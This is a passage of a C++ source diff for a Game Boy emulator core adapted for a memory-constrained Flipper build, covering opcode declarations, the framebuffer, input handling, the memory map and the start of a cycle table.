void opcode_call();
void opcode_call(Condition condition);
/* CCF */
void opcode_ccf();
/* CP */
void _opcode_cp(u8 value);
void opcode_cp();
void opcode_cp(const ByteRegister& reg);
void opcode_cp(const Address& addr);
/* CPL */
void opcode_cpl();
/* DAA */
void opcode_daa();
/* DEC */
void opcode_dec(ByteRegister& reg);
void opcode_dec(RegisterPair& reg);
void opcode_dec(WordRegister& reg);
void opcode_dec(Address&& addr);
/* DI */
void opcode_di();
/* EI */
void opcode_ei();
/* INC */
void opcode_inc(ByteRegister& reg);
void opcode_inc(RegisterPair& reg);
void opcode_inc(WordRegister& reg);
void opcode_inc(Address&& addr);
/* JP */
void opcode_jp();
void opcode_jp(Condition condition);
void opcode_jp(const Address& addr);
/* JR */
void opcode_jr();
void opcode_jr(Condition condition);
/* HALT */
void opcode_halt();
/* LD */
void opcode_ld(ByteRegister& reg);
void opcode_ld(ByteRegister& reg, const ByteRegister& byte_reg);
void opcode_ld(ByteRegister& reg, const Address& address);
void opcode_ld(RegisterPair& reg);
void opcode_ld(WordRegister& reg);
void opcode_ld(WordRegister& reg, const RegisterPair& reg_pair);
void opcode_ld(const Address& address);
void opcode_ld(const Address& address, const ByteRegister& byte_reg);
void opcode_ld(const Address& address, const WordRegister& word_reg);
// (nn), A
void opcode_ld_to_addr(const ByteRegister& reg);
void opcode_ld_from_addr(ByteRegister& reg);
/* LDD */
auto _opcode_ldd(u8 value) -> u8;
void opcode_ldd(ByteRegister& reg, const Address& address);
void opcode_ldd(const Address& address, const ByteRegister& reg);
/* LDH */
// A, (n)
void opcode_ldh_into_a();
// (n), A
void opcode_ldh_into_data();
// (reg), A
void opcode_ldh_into_c();
// A, (reg)
void opcode_ldh_c_into_a();
/* LDHL */
void opcode_ldhl();
/* LDI */
void opcode_ldi(ByteRegister& reg, const Address& address);
void opcode_ldi(const Address& address, const ByteRegister& reg);
/* NOP */
void opcode_nop();
/* OR */
void _opcode_or(u8 value);
void opcode_or();
void opcode_or(const ByteRegister& reg);
void opcode_or(const Address& addr);
/* POP */
void opcode_pop(RegisterPair& reg);
/* PUSH */
void opcode_push(const RegisterPair& reg);
/* RES */
void opcode_res(u8 bit, ByteRegister& reg);
void opcode_res(u8 bit, Address&& addr);
/* RET */
void opcode_ret();
void opcode_ret(Condition condition);
/* RETI */
void opcode_reti();
/* RL */
auto _opcode_rl(u8 value) -> u8;
void opcode_rla();
void opcode_rl(ByteRegister& reg);
void opcode_rl(Address&& addr);
/* RLC */
auto _opcode_rlc(u8 value) -> u8;
void opcode_rlca();
void opcode_rlc(ByteRegister& reg);
void opcode_rlc(Address&& addr);
/* RR */
auto _opcode_rr(u8 value) -> u8;
void opcode_rra();
void opcode_rr(ByteRegister& reg);
void opcode_rr(Address&& addr);
/* RRC */
auto _opcode_rrc(u8 value) -> u8;
void opcode_rrca();
void opcode_rrc(ByteRegister& reg);
void opcode_rrc(Address&& addr);
/* RST */
void opcode_rst(u8 offset);
/* SBC */
void _opcode_sbc(u8 value);
void opcode_sbc();
void opcode_sbc(ByteRegister& reg);
void opcode_sbc(Address&& addr);
/* SCF */
void opcode_scf();
/* SET */
void opcode_set(u8 bit, ByteRegister& reg);
void opcode_set(u8 bit, Address&& addr);
/* SLA */
auto _opcode_sla(u8 value) -> u8;
void opcode_sla(ByteRegister& reg);
void opcode_sla(Address&& addr);
/* SRA */
auto _opcode_sra(u8 value) -> u8;
void opcode_sra(ByteRegister& reg);
void opcode_sra(Address&& addr);
/* SRL */
auto _opcode_srl(u8 value) -> u8;
void opcode_srl(ByteRegister& reg);
void opcode_srl(Address&& addr);
/* STOP */
void opcode_stop();
/* SUB */
void _opcode_sub(u8 value);
void opcode_sub();
void opcode_sub(ByteRegister& reg);
void opcode_sub(Address&& addr);
/* SWAP */
auto _opcode_swap(u8 value) -> u8;
void opcode_swap(ByteRegister& reg);
void opcode_swap(Address&& addr);
/* XOR */
void _opcode_xor(u8 value);
void opcode_xor();
void opcode_xor(const ByteRegister& reg);
void opcode_xor(const Address& addr);
/* clang-format off */
/* Opcodes */
void opcode_00(); void opcode_01(); void opcode_02(); void opcode_03(); void opcode_04(); void opcode_05(); void opcode_06(); void opcode_07(); void opcode_08(); void opcode_09(); void opcode_0A(); void opcode_0B(); void opcode_0C(); void opcode_0D(); void opcode_0E(); void opcode_0F();
void opcode_10(); void opcode_11(); void opcode_12(); void opcode_13(); void opcode_14(); void opcode_15(); void opcode_16(); void opcode_17(); void opcode_18(); void opcode_19(); void opcode_1A(); void opcode_1B(); void opcode_1C(); void opcode_1D(); void opcode_1E(); void opcode_1F();
void opcode_20(); void opcode_21(); void opcode_22(); void opcode_23(); void opcode_24(); void opcode_25(); void opcode_26(); void opcode_27(); void opcode_28(); void opcode_29(); void opcode_2A(); void opcode_2B(); void opcode_2C(); void opcode_2D(); void opcode_2E(); void opcode_2F();
void opcode_30(); void opcode_31(); void opcode_32(); void opcode_33(); void opcode_34(); void opcode_35(); void opcode_36(); void opcode_37(); void opcode_38(); void opcode_39(); void opcode_3A(); void opcode_3B(); void opcode_3C(); void opcode_3D(); void opcode_3E(); void opcode_3F();
void opcode_40(); void opcode_41(); void opcode_42(); void opcode_43(); void opcode_44(); void opcode_45(); void opcode_46(); void opcode_47(); void opcode_48(); void opcode_49(); void opcode_4A(); void opcode_4B(); void opcode_4C(); void opcode_4D(); void opcode_4E(); void opcode_4F();
void opcode_50(); void opcode_51(); void opcode_52(); void opcode_53(); void opcode_54(); void opcode_55(); void opcode_56(); void opcode_57(); void opcode_58(); void opcode_59(); void opcode_5A(); void opcode_5B(); void opcode_5C(); void opcode_5D(); void opcode_5E(); void opcode_5F();
void opcode_60(); void opcode_61(); void opcode_62(); void opcode_63(); void opcode_64(); void opcode_65(); void opcode_66(); void opcode_67(); void opcode_68(); void opcode_69(); void opcode_6A(); void opcode_6B(); void opcode_6C(); void opcode_6D(); void opcode_6E(); void opcode_6F();
void opcode_70(); void opcode_71(); void opcode_72(); void opcode_73(); void opcode_74(); void opcode_75(); void opcode_76(); void opcode_77(); void opcode_78(); void opcode_79(); void opcode_7A(); void opcode_7B(); void opcode_7C(); void opcode_7D(); void opcode_7E(); void opcode_7F();
void opcode_80(); void opcode_81(); void opcode_82(); void opcode_83(); void opcode_84(); void opcode_85(); void opcode_86(); void opcode_87(); void opcode_88(); void opcode_89(); void opcode_8A(); void opcode_8B(); void opcode_8C(); void opcode_8D(); void opcode_8E(); void opcode_8F();
void opcode_90(); void opcode_91(); void opcode_92(); void opcode_93(); void opcode_94(); void opcode_95(); void opcode_96(); void opcode_97(); void opcode_98(); void opcode_99(); void opcode_9A(); void opcode_9B(); void opcode_9C(); void opcode_9D(); void opcode_9E(); void opcode_9F();
void opcode_A0(); void opcode_A1(); void opcode_A2(); void opcode_A3(); void opcode_A4(); void opcode_A5(); void opcode_A6(); void opcode_A7(); void opcode_A8(); void opcode_A9(); void opcode_AA(); void opcode_AB(); void opcode_AC(); void opcode_AD(); void opcode_AE(); void opcode_AF();
void opcode_B0(); void opcode_B1(); void opcode_B2(); void opcode_B3(); void opcode_B4(); void opcode_B5(); void opcode_B6(); void opcode_B7(); void opcode_B8(); void opcode_B9(); void opcode_BA(); void opcode_BB(); void opcode_BC(); void opcode_BD(); void opcode_BE(); void opcode_BF();
void opcode_C0(); void opcode_C1(); void opcode_C2(); void opcode_C3(); void opcode_C4(); void opcode_C5(); void opcode_C6(); void opcode_C7(); void opcode_C8(); void opcode_C9(); void opcode_CA(); void opcode_CB(); void opcode_CC(); void opcode_CD(); void opcode_CE(); void opcode_CF();
void opcode_D0(); void opcode_D1(); void opcode_D2(); void opcode_D3(); void opcode_D4(); void opcode_D5(); void opcode_D6(); void opcode_D7(); void opcode_D8(); void opcode_D9(); void opcode_DA(); void opcode_DB(); void opcode_DC(); void opcode_DD(); void opcode_DE(); void opcode_DF();
void opcode_E0(); void opcode_E1(); void opcode_E2(); void opcode_E3(); void opcode_E4(); void opcode_E5(); void opcode_E6(); void opcode_E7(); void opcode_E8(); void opcode_E9(); void opcode_EA(); void opcode_EB(); void opcode_EC(); void opcode_ED(); void opcode_EE(); void opcode_EF();
void opcode_F0(); void opcode_F1(); void opcode_F2(); void opcode_F3(); void opcode_F4(); void opcode_F5(); void opcode_F6(); void opcode_F7(); void opcode_F8(); void opcode_F9(); void opcode_FA(); void opcode_FB(); void opcode_FC(); void opcode_FD(); void opcode_FE(); void opcode_FF();
/* CB Opcodes */
void opcode_CB_00(); void opcode_CB_01(); void opcode_CB_02(); void opcode_CB_03(); void opcode_CB_04(); void opcode_CB_05(); void opcode_CB_06(); void opcode_CB_07(); void opcode_CB_08(); void opcode_CB_09(); void opcode_CB_0A(); void opcode_CB_0B(); void opcode_CB_0C(); void opcode_CB_0D(); void opcode_CB_0E(); void opcode_CB_0F();
void opcode_CB_10(); void opcode_CB_11(); void opcode_CB_12(); void opcode_CB_13(); void opcode_CB_14(); void opcode_CB_15(); void opcode_CB_16(); void opcode_CB_17(); void opcode_CB_18(); void opcode_CB_19(); void opcode_CB_1A(); void opcode_CB_1B(); void opcode_CB_1C(); void opcode_CB_1D(); void opcode_CB_1E(); void opcode_CB_1F();
void opcode_CB_20(); void opcode_CB_21(); void opcode_CB_22(); void opcode_CB_23(); void opcode_CB_24(); void opcode_CB_25(); void opcode_CB_26(); void opcode_CB_27(); void opcode_CB_28(); void opcode_CB_29(); void opcode_CB_2A(); void opcode_CB_2B(); void opcode_CB_2C(); void opcode_CB_2D(); void opcode_CB_2E(); void opcode_CB_2F();
void opcode_CB_30(); void opcode_CB_31(); void opcode_CB_32(); void opcode_CB_33(); void opcode_CB_34(); void opcode_CB_35(); void opcode_CB_36(); void opcode_CB_37(); void opcode_CB_38(); void opcode_CB_39(); void opcode_CB_3A(); void opcode_CB_3B(); void opcode_CB_3C(); void opcode_CB_3D(); void opcode_CB_3E(); void opcode_CB_3F();
void opcode_CB_40(); void opcode_CB_41(); void opcode_CB_42(); void opcode_CB_43(); void opcode_CB_44(); void opcode_CB_45(); void opcode_CB_46(); void opcode_CB_47(); void opcode_CB_48(); void opcode_CB_49(); void opcode_CB_4A(); void opcode_CB_4B(); void opcode_CB_4C(); void opcode_CB_4D(); void opcode_CB_4E(); void opcode_CB_4F();
void opcode_CB_50(); void opcode_CB_51(); void opcode_CB_52(); void opcode_CB_53(); void opcode_CB_54(); void opcode_CB_55(); void opcode_CB_56(); void opcode_CB_57(); void opcode_CB_58(); void opcode_CB_59(); void opcode_CB_5A(); void opcode_CB_5B(); void opcode_CB_5C(); void opcode_CB_5D(); void opcode_CB_5E(); void opcode_CB_5F();
void opcode_CB_60(); void opcode_CB_61(); void opcode_CB_62(); void opcode_CB_63(); void opcode_CB_64(); void opcode_CB_65(); void opcode_CB_66(); void opcode_CB_67(); void opcode_CB_68(); void opcode_CB_69(); void opcode_CB_6A(); void opcode_CB_6B(); void opcode_CB_6C(); void opcode_CB_6D(); void opcode_CB_6E(); void opcode_CB_6F();
void opcode_CB_70(); void opcode_CB_71(); void opcode_CB_72(); void opcode_CB_73(); void opcode_CB_74(); void opcode_CB_75(); void opcode_CB_76(); void opcode_CB_77(); void opcode_CB_78(); void opcode_CB_79(); void opcode_CB_7A(); void opcode_CB_7B(); void opcode_CB_7C(); void opcode_CB_7D(); void opcode_CB_7E(); void opcode_CB_7F();
void opcode_CB_80(); void opcode_CB_81(); void opcode_CB_82(); void opcode_CB_83(); void opcode_CB_84(); void opcode_CB_85(); void opcode_CB_86(); void opcode_CB_87(); void opcode_CB_88(); void opcode_CB_89(); void opcode_CB_8A(); void opcode_CB_8B(); void opcode_CB_8C(); void opcode_CB_8D(); void opcode_CB_8E(); void opcode_CB_8F();
void opcode_CB_90(); void opcode_CB_91(); void opcode_CB_92(); void opcode_CB_93(); void opcode_CB_94(); void opcode_CB_95(); void opcode_CB_96(); void opcode_CB_97(); void opcode_CB_98(); void opcode_CB_99(); void opcode_CB_9A(); void opcode_CB_9B(); void opcode_CB_9C(); void opcode_CB_9D(); void opcode_CB_9E(); void opcode_CB_9F();
void opcode_CB_A0(); void opcode_CB_A1(); void opcode_CB_A2(); void opcode_CB_A3(); void opcode_CB_A4(); void opcode_CB_A5(); void opcode_CB_A6(); void opcode_CB_A7(); void opcode_CB_A8(); void opcode_CB_A9(); void opcode_CB_AA(); void opcode_CB_AB(); void opcode_CB_AC(); void opcode_CB_AD(); void opcode_CB_AE(); void opcode_CB_AF();
void opcode_CB_B0(); void opcode_CB_B1(); void opcode_CB_B2(); void opcode_CB_B3(); void opcode_CB_B4(); void opcode_CB_B5(); void opcode_CB_B6(); void opcode_CB_B7(); void opcode_CB_B8(); void opcode_CB_B9(); void opcode_CB_BA(); void opcode_CB_BB(); void opcode_CB_BC(); void opcode_CB_BD(); void opcode_CB_BE(); void opcode_CB_BF();
void opcode_CB_C0(); void opcode_CB_C1(); void opcode_CB_C2(); void opcode_CB_C3(); void opcode_CB_C4(); void opcode_CB_C5(); void opcode_CB_C6(); void opcode_CB_C7(); void opcode_CB_C8(); void opcode_CB_C9(); void opcode_CB_CA(); void opcode_CB_CB(); void opcode_CB_CC(); void opcode_CB_CD(); void opcode_CB_CE(); void opcode_CB_CF();
void opcode_CB_D0(); void opcode_CB_D1(); void opcode_CB_D2(); void opcode_CB_D3(); void opcode_CB_D4(); void opcode_CB_D5(); void opcode_CB_D6(); void opcode_CB_D7(); void opcode_CB_D8(); void opcode_CB_D9(); void opcode_CB_DA(); void opcode_CB_DB(); void opcode_CB_DC(); void opcode_CB_DD(); void opcode_CB_DE(); void opcode_CB_DF();
void opcode_CB_E0(); void opcode_CB_E1(); void opcode_CB_E2(); void opcode_CB_E3(); void opcode_CB_E4(); void opcode_CB_E5(); void opcode_CB_E6(); void opcode_CB_E7(); void opcode_CB_E8(); void opcode_CB_E9(); void opcode_CB_EA(); void opcode_CB_EB(); void opcode_CB_EC(); void opcode_CB_ED(); void opcode_CB_EE(); void opcode_CB_EF();
void opcode_CB_F0(); void opcode_CB_F1(); void opcode_CB_F2(); void opcode_CB_F3(); void opcode_CB_F4(); void opcode_CB_F5(); void opcode_CB_F6(); void opcode_CB_F7(); void opcode_CB_F8(); void opcode_CB_F9(); void opcode_CB_FA(); void opcode_CB_FB(); void opcode_CB_FC(); void opcode_CB_FD(); void opcode_CB_FE(); void opcode_CB_FF();
/* clang-format on */
friend class Debugger;
};
@@ -0,0 +1,57 @@
#pragma once
#include <cstdint>
using uint = unsigned int;
using u8 = uint8_t;
using u16 = uint16_t;
using u32 = uint32_t;
using s8 = int8_t;
using s16 = uint16_t; /* kept as upstream (unused alias) */
struct Noncopyable {
auto operator=(const Noncopyable&) -> Noncopyable& = delete;
Noncopyable(const Noncopyable&) = delete;
Noncopyable() = default;
~Noncopyable() = default;
};
template <typename... T> inline void unused(T&&...) {}
/* Logging compiled out for the embedded target */
#define log_error(...) ((void)0)
#define log_warn(...) ((void)0)
#define log_info(...) ((void)0)
#define log_debug(...) ((void)0)
#define log_trace(...) ((void)0)
#define log_unimplemented(...) ((void)0)
/* Fatal errors: platform provides the handler (never returns) */
extern "C" [[noreturn]] void gb_fatal(const char* msg);
#define fatal_error(...) gb_fatal("gb core fatal error")
const uint GAMEBOY_WIDTH = 160;
const uint GAMEBOY_HEIGHT = 144;
const int CLOCK_RATE = 4194304;
/* Shades are plain bytes now: 0=White .. 3=Black */
using Shade = u8;
const Shade SHADE_WHITE = 0;
const Shade SHADE_LIGHT = 1;
const Shade SHADE_DARK = 2;
const Shade SHADE_BLACK = 3;
struct Palette {
Shade color0 = 0;
Shade color1 = 1;
Shade color2 = 2;
Shade color3 = 3;
};
class Cycles {
public:
Cycles(uint nCycles) : cycles(nCycles) {}
const uint cycles;
};
@@ -0,0 +1,69 @@
#pragma once
#include "definitions.h"
/* Packed 2 bits-per-pixel framebuffer (the original stored one 4-byte enum
* per pixel = 92 KB).
*
* GB_FB_ROWS storage rows are kept (default: all 144 = 5.7 KB). The Flipper
* build compiles with GB_FB_ROWS=64: only the 64 scanlines that survive the
* 144 -> 64 downscale are stored (2.5 KB, saving 3.2 KB of always-resident
* RAM). row_slot[] maps screen y -> storage slot; rows without a slot are
* write-ignored / read-as-white, and the render row mask already prevents
* the PPU from touching them anyway. */
#ifndef GB_FB_ROWS
#define GB_FB_ROWS GAMEBOY_HEIGHT
#endif
class FrameBuffer {
public:
FrameBuffer() {
for(uint y = 0; y < GAMEBOY_HEIGHT; y++)
row_slot[y] = (y < GB_FB_ROWS) ? static_cast<u8>(y) : NO_ROW;
}
/* Compact storage to exactly the rows enabled in mask. Storage slots
* are assigned in ascending y order, so the frontend's n-th displayed
* row lives in slot n. No-op when every row fits (host build). */
void set_row_map(const u8* mask) {
if(!mask || GB_FB_ROWS >= GAMEBOY_HEIGHT) return;
uint slot = 0;
for(uint y = 0; y < GAMEBOY_HEIGHT; y++) {
if(mask[y] && slot < GB_FB_ROWS)
row_slot[y] = static_cast<u8>(slot++);
else
row_slot[y] = NO_ROW;
}
}
void set_pixel(uint x, uint y, Shade shade) {
uint slot = row_slot[y];
if(slot == NO_ROW) return;
uint i = slot * GAMEBOY_WIDTH + x;
uint byte = i >> 2;
uint shift = (i & 3) * 2;
buf[byte] = static_cast<u8>((buf[byte] & ~(0x3 << shift)) | (shade << shift));
}
auto get_pixel(uint x, uint y) const -> Shade {
uint slot = row_slot[y];
if(slot == NO_ROW) return 0;
uint i = slot * GAMEBOY_WIDTH + x;
return static_cast<Shade>((buf[i >> 2] >> ((i & 3) * 2)) & 0x3);
}
void reset() {
for(uint i = 0; i < sizeof(buf); i++)
buf[i] = 0;
}
/* Raw packed 2bpp storage (4 pixels per byte, LSB first), slot-major:
* storage slot s starts at bit offset s * GAMEBOY_WIDTH * 2. */
auto raw() const -> const u8* { return buf; }
private:
static const u8 NO_ROW = 0xFF;
u8 buf[GAMEBOY_WIDTH * GB_FB_ROWS / 4] = {};
u8 row_slot[GAMEBOY_HEIGHT];
};
@@ -0,0 +1,67 @@
#include "gameboy.h"
Gameboy::Gameboy(
const u8* bank0,
uint rom_bank_count,
MBCType mbc,
u8* cart_ram,
u32 cart_ram_size,
RomBankProvider provider,
void* provider_ctx)
: cpu(*this)
, video(*this)
, mmu(*this)
, timer(*this) {
cartridge.init(bank0, rom_bank_count, mbc, cart_ram, cart_ram_size, provider, provider_ctx);
video.register_vblank_callback(&Gameboy::vblank_trampoline, this);
/* The DMG boot ROM is not shipped with this emulator. The CPU and IO
* registers are initialised directly to the well-documented post-boot
* state instead. */
cpu.init_post_boot();
mmu.write(0xFF26, 0x80); /* NR52: APU powered on (post-boot state) */
mmu.write(0xFF25, 0xF3); /* NR51: all channels routed */
mmu.write(0xFF24, 0x77); /* NR50: max master volume */
mmu.write(0xFF40, 0x91); /* LCDC */
mmu.write(0xFF42, 0x00); /* SCY */
mmu.write(0xFF43, 0x00); /* SCX */
mmu.write(0xFF45, 0x00); /* LYC */
mmu.write(0xFF47, 0xFC); /* BGP */
mmu.write(0xFF48, 0xFF); /* OBP0 */
mmu.write(0xFF49, 0xFF); /* OBP1 */
mmu.write(0xFF4A, 0x00); /* WY */
mmu.write(0xFF4B, 0x00); /* WX */
}
void Gameboy::vblank_trampoline(void* ctx) {
Gameboy* self = static_cast<Gameboy*>(ctx);
if(self->user_frame_cb) self->user_frame_cb(self->user_frame_ctx);
self->frame_done = true;
}
void Gameboy::button_pressed(GbButton button) {
input.button_pressed(button);
/* Request the joypad interrupt (missing upstream); mainly wakes
* games waiting in HALT/STOP for input. */
cpu.interrupt_flag.set_bit_to(4, true);
}
void Gameboy::button_released(GbButton button) {
input.button_released(button);
}
void Gameboy::run_to_vblank() {
frame_done = false;
while(!frame_done) {
tick();
}
}
void Gameboy::tick() {
auto cycles = cpu.tick();
video.tick(cycles);
timer.tick(cycles.cycles);
apu.tick(cycles.cycles);
}
@@ -0,0 +1,73 @@
#pragma once
#include "input.h"
#include "cpu.h"
#include "video.h"
#include "timer.h"
#include "mmu.h"
#include "cartridge.h"
#include "apu.h"
class Gameboy {
public:
/* bank0: pointer to the first 16 KB of ROM (stays resident).
* provider: returns pointers to 16 KB switchable banks. */
Gameboy(
const u8* bank0,
uint rom_bank_count,
MBCType mbc,
u8* cart_ram,
u32 cart_ram_size,
RomBankProvider provider,
void* provider_ctx);
/* Runs the emulator until the next vblank (one full frame). */
void run_to_vblank();
/* Called on every vblank BEFORE the framebuffer is cleared for the next
* frame: this is where the frontend must convert/copy the image. */
void set_frame_callback(void (*cb)(void*), void* ctx) {
user_frame_cb = cb;
user_frame_ctx = ctx;
}
void button_pressed(GbButton button);
void button_released(GbButton button);
void set_skip_render(bool skip) { video.skip_render = skip; }
/* Optional display-line mask (see Video::row_mask). The array must stay
* valid for the lifetime of the emulator. */
void set_row_mask(const u8* mask) { video.set_row_mask(mask); }
auto get_framebuffer() const -> const FrameBuffer& { return video.get_framebuffer(); }
auto get_cartridge_ram() -> u8* { return cartridge.get_ram(); }
auto get_cartridge_ram_size() const -> u32 { return cartridge.get_ram_size(); }
Cartridge cartridge;
CPU cpu;
friend class CPU;
Video video;
friend class Video;
MMU mmu;
friend class MMU;
Timer timer;
friend class Timer;
Apu apu;
Input input;
private:
void tick();
static void vblank_trampoline(void* ctx);
volatile bool frame_done = false;
void (*user_frame_cb)(void*) = nullptr;
void* user_frame_ctx = nullptr;
};
+54
View File
@@ -0,0 +1,54 @@
#include "input.h"
#include "bitwise.h"
void Input::button_pressed(GbButton button) {
set_button(button, true);
}
void Input::button_released(GbButton button) {
set_button(button, false);
}
void Input::set_button(GbButton button, bool set) {
if (button == GbButton::Up) { up = set; }
if (button == GbButton::Down) { down = set; }
if (button == GbButton::Left) { left = set; }
if (button == GbButton::Right) { right = set; }
if (button == GbButton::A) { a = set; }
if (button == GbButton::B) { b = set; }
if (button == GbButton::Select) { select = set; }
if (button == GbButton::Start) { start = set; }
}
void Input::write(u8 set) {
using bitwise::check_bit;
direction_switch = !check_bit(set, 4);
button_switch = !check_bit(set, 5);
}
auto Input::get_input() const -> u8 {
using bitwise::set_bit_to;
u8 buttons = 0b1111;
if (direction_switch) {
buttons = set_bit_to(buttons, 0, !right);
buttons = set_bit_to(buttons, 1, !left);
buttons = set_bit_to(buttons, 2, !up);
buttons = set_bit_to(buttons, 3, !down);
}
if (button_switch) {
buttons = set_bit_to(buttons, 0, !a);
buttons = set_bit_to(buttons, 1, !b);
buttons = set_bit_to(buttons, 2, !select);
buttons = set_bit_to(buttons, 3, !start);
}
buttons = set_bit_to(buttons, 4, !direction_switch);
buttons = set_bit_to(buttons, 5, !button_switch);
return buttons;
}
+38
View File
@@ -0,0 +1,38 @@
#pragma once
#include "definitions.h"
enum class GbButton {
Up,
Down,
Left,
Right,
A,
B,
Select,
Start,
};
class Input {
public:
void button_pressed(GbButton button);
void button_released(GbButton button);
void write(u8 set);
auto get_input() const -> u8;
private:
void set_button(GbButton button, bool set);
bool up = false;
bool down = false;
bool left = false;
bool right = false;
bool a = false;
bool b = false;
bool select = false;
bool start = false;
bool button_switch = false;
bool direction_switch = false;
};
+274
View File
@@ -0,0 +1,274 @@
#include "mmu.h"
#include "gameboy.h"
#include "input.h"
#include "timer.h"
#include "cpu.h"
#include "video.h"
void (*gb_serial_hook)(u8 byte) = nullptr;
MMU::MMU(Gameboy& inGb)
: gb(inGb) {
}
auto MMU::read(const Address& address) const -> u8 {
u16 a = address.value();
/* Cartridge ROM (boot ROM is skipped: CPU starts with post-boot state) */
if(a < 0x8000) return gb.cartridge.read(a);
/* VRAM */
if(a < 0xA000) return gb.video.vram_read(static_cast<u16>(a - 0x8000));
/* External (cartridge) RAM */
if(a < 0xC000) return gb.cartridge.read(a);
/* Internal work RAM */
if(a < 0xE000) return work_ram[a - 0xC000];
/* Echo RAM */
if(a < 0xFE00) return work_ram[a - 0xE000];
/* OAM */
if(a < 0xFEA0) return oam_ram[a - 0xFE00];
/* Unusable region */
if(a < 0xFF00) return 0xFF;
/* Mapped IO */
if(a < 0xFF80) return read_io(address);
/* Zero page RAM */
if(a < 0xFFFF) return high_ram[a - 0xFF80];
/* Interrupt enable register */
return gb.cpu.interrupt_enabled.value();
}
void MMU::write(const Address& address, u8 byte) {
u16 a = address.value();
if(a < 0x8000) {
gb.cartridge.write(a, byte);
return;
}
if(a < 0xA000) {
gb.video.vram_write(static_cast<u16>(a - 0x8000), byte);
return;
}
if(a < 0xC000) {
gb.cartridge.write(a, byte);
return;
}
if(a < 0xE000) {
work_ram[a - 0xC000] = byte;
return;
}
if(a < 0xFE00) {
work_ram[a - 0xE000] = byte;
return;
}
if(a < 0xFEA0) {
oam_ram[a - 0xFE00] = byte;
return;
}
if(a < 0xFF00) return; /* unusable */
if(a < 0xFF80) {
write_io(address, byte);
return;
}
if(a < 0xFFFF) {
high_ram[a - 0xFF80] = byte;
return;
}
gb.cpu.interrupt_enabled.set(byte);
}
auto MMU::read_io(const Address& address) const -> u8 {
u16 a = address.value();
/* Sound registers + wave RAM */
if(a >= 0xFF10 && a <= 0xFF3F) return gb.apu.read(a);
switch(address.value()) {
case 0xFF00:
return gb.input.get_input();
case 0xFF01:
return serial_data;
case 0xFF02:
return 0xFF;
case 0xFF04:
return gb.timer.get_divider();
case 0xFF05:
return gb.timer.get_timer();
case 0xFF06:
return gb.timer.get_timer_modulo();
case 0xFF07:
return gb.timer.get_timer_control();
case 0xFF0F:
return gb.cpu.interrupt_flag.value();
case 0xFF40:
return gb.video.control_byte;
case 0xFF41:
return gb.video.lcd_status.value();
case 0xFF42:
return gb.video.scroll_y.value();
case 0xFF43:
return gb.video.scroll_x.value();
case 0xFF44:
return gb.video.line.value();
case 0xFF45:
return gb.video.ly_compare.value();
case 0xFF47:
return gb.video.bg_palette.value();
case 0xFF48:
return gb.video.sprite_palette_0.value();
case 0xFF49:
return gb.video.sprite_palette_1.value();
case 0xFF4A:
return gb.video.window_y.value();
case 0xFF4B:
return gb.video.window_x.value();
case 0xFF4D: /* CGB speed switch: report normal speed */
return 0x00;
default:
/* Audio registers, CGB registers and unmapped IO */
return 0xFF;
}
}
void MMU::write_io(const Address& address, u8 byte) {
u16 a = address.value();
/* Sound registers + wave RAM */
if(a >= 0xFF10 && a <= 0xFF3F) {
gb.apu.write(a, byte);
return;
}
switch(address.value()) {
case 0xFF00:
gb.input.write(byte);
return;
case 0xFF01:
serial_data = byte;
return;
case 0xFF02:
/* Serial control: transfer start with internal clock -> deliver
* the byte immediately (enough for link-less games and for the
* Blargg test ROMs which print through the serial port) */
if((byte & 0x81) == 0x81 && gb_serial_hook) gb_serial_hook(serial_data);
return;
case 0xFF04:
gb.timer.reset_divider();
return;
case 0xFF05:
gb.timer.set_timer(byte);
return;
case 0xFF06:
gb.timer.set_timer_modulo(byte);
return;
case 0xFF07:
gb.timer.set_timer_control(byte);
return;
case 0xFF0F:
gb.cpu.interrupt_flag.set(byte);
return;
case 0xFF40:
gb.video.control_byte = byte;
return;
case 0xFF41:
gb.video.lcd_status.set(byte);
return;
case 0xFF42:
gb.video.scroll_y.set(byte);
return;
case 0xFF43:
gb.video.scroll_x.set(byte);
return;
case 0xFF44:
gb.video.line.set(0x0);
return;
case 0xFF45:
gb.video.ly_compare.set(byte);
return;
case 0xFF46:
dma_transfer(byte);
return;
case 0xFF47:
gb.video.bg_palette.set(byte);
return;
case 0xFF48:
gb.video.sprite_palette_0.set(byte);
return;
case 0xFF49:
gb.video.sprite_palette_1.set(byte);
return;
case 0xFF4A:
gb.video.window_y.set(byte);
return;
case 0xFF4B:
gb.video.window_x.set(byte);
return;
default:
/* Audio registers, CGB registers and unmapped IO: ignored */
return;
}
}
void MMU::dma_transfer(u8 byte) {
u16 start_address = static_cast<u16>(byte) * 0x100;
for(u8 i = 0x0; i <= 0x9F; i++) {
oam_ram[i] = read(static_cast<u16>(start_address + i));
}
}
+35
View File
@@ -0,0 +1,35 @@
#pragma once
#include "address.h"
#include "definitions.h"
class Gameboy;
/* Serial output hook, used by the host test harness to capture Blargg test
* ROM output. Null on the Flipper build. */
extern "C" {
extern void (*gb_serial_hook)(u8 byte);
}
class MMU {
public:
MMU(Gameboy& inGb);
auto read(const Address& address) const -> u8;
void write(const Address& address, u8 byte);
private:
auto read_io(const Address& address) const -> u8;
void write_io(const Address& address, u8 byte);
void dma_transfer(u8 byte);
Gameboy& gb;
u8 work_ram[0x2000] = {}; /* DMG: 8 KB (was 32 KB upstream) */
u8 oam_ram[0xA0] = {};
u8 high_ram[0x80] = {};
u8 serial_data = 0;
friend class Video;
};
@@ -0,0 +1,61 @@
#pragma once
/* clang-format off */
#include <array>
const std::array<u8, 256> opcode_cycles = {
1, 3, 2, 2, 1, 1, 2, 1, 5, 2, 2, 2, 1, 1, 2, 1,
1, 3, 2, 2, 1, 1, 2, 1, 3, 2, 2, 2, 1, 1, 2, 1,
2, 3, 2, 2, 1, 1, 2, 1, 2, 2, 2, 2, 1, 1, 2, 1,
2, 3, 2, 2, 3, 3, 3, 1, 2, 2, 2, 2, 1, 1, 2, 1,
1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 2, 1,
1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 2, 1,
1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 2, 1,
2, 2, 2, 2, 2, 2, 1, 2, 1, 1, 1, 1, 1, 1, 2, 1,
1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 2, 1,
1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 2, 1,
1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 2, 1,
